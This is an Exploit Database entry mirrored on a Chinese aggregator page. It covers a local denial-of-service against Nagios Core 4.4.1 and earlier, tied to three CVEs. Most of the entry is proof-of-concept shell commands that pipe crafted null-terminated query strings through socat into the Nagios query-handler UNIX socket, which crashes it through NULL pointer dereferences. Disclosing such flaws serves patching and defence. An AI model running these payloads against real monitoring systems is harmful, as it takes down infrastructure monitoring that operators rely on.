Nagios Core 4.4.1 – Denial of Service

• Exploit Database
• 104 阅读

• 作者： Fakhri Zulkifli
  日期： 2018-07-24
• 类别：

  • dos
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/45082/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26

  # Exploit Title: Nagios Core Multiple Local Denial of Service # Date: 2018-07-09 # Exploit Author: Fakhri Zulkifli (@d0lph1n98) # Vendor Homepage: https://www.nagios.org/ # Software Link: https://www.nagios.org/downloads/nagios-core/ # Version: 4.4.1 and earlier # Tested on: 4.4.1     qh_core, qh_help, and qh_echo in Nagios Core 4.4.1 and earlier is prone to a NULL pointer dereference vulnerability, which allows attackers to cause a local denial-of-service condition by sending a crafted payload to the listening UNIX socket.   1. [CVE-2018-13458] qh_core   $ echo -ne “#core\0" | socat unix-connect:./poc/nagios.qh - $ echo -ne “@core\0" | socat unix-connect:./poc/nagios.qh -   2. [CVE-2018-13457] qh_echo   $ echo -ne "#echo\0" | socat unix-connect:./poc/nagios.qh - $ echo -ne “@echo\0" | socat unix-connect:./poc/nagios.qh -   3. [CVE-2018-13441] qh_help   $ echo -ne “#help\0" | socat unix-connect:./poc/nagios.qh - $ echo -ne “@help\0" | socat unix-connect:./poc/nagios.qh -